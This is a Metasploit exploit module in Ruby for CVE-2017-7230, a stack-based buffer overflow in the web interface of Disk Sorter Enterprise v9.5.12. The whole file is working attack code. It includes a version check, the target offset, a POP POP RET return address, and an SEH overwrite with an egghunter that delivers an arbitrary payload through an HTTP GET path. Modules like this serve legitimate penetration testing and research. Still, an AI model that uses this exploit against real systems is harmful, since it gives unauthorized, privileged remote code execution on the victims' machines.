##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Disk Sorter Enterprise GET Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow vulnerability
          in the web interface of Disk Sorter Enterprise v9.5.12, caused by
          improper bounds checking of the request path in HTTP GET requests
          sent to the built-in web server. This module has been tested
          successfully on Windows 7 SP1 x86.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Daniel Teixeira'
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'win',
        'Payload' => {
          'BadChars' => "\x00\x09\x0a\x0d\x20\x26",
          'Space' => 500
        },
        'References' => [
          [ 'CVE', '2017-7230' ]
        ],
        'Targets' => [
          [
            'Disk Sorter Enterprise v9.5.12',
            {
              'Offset' => 2488,
              'Ret' => 0x10051223 # POP # POP # RET [libspp.dll]
            }
          ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2017-03-15',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/'
    )

    if res && res.code == 200
      version = res.body[/Disk Sorter Enterprise v[^<]*/]
      if version
        vprint_status("Version detected: #{version}")
        if version =~ /9\.5\.12/
          return Exploit::CheckCode::Appears
        end

        return Exploit::CheckCode::Detected
      end
    else
      vprint_error('Unable to determine due to a HTTP connection timeout')
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    eggoptions = {
      checksum: true,
      eggtag: rand_text_alpha(4, payload_badchars)
    }

    hunter, egg = generate_egghunter(
      payload.encoded,
      payload_badchars,
      eggoptions
    )

    sploit = rand_text_alpha(target['Offset'])
    sploit << generate_seh_record(target.ret)
    sploit << hunter
    sploit << make_nops(10)
    sploit << egg
    sploit << rand_text_alpha(5500)

    print_status('Sending request...')

    send_request_cgi(
      'method' => 'GET',
      'uri' => sploit
    )
  end
end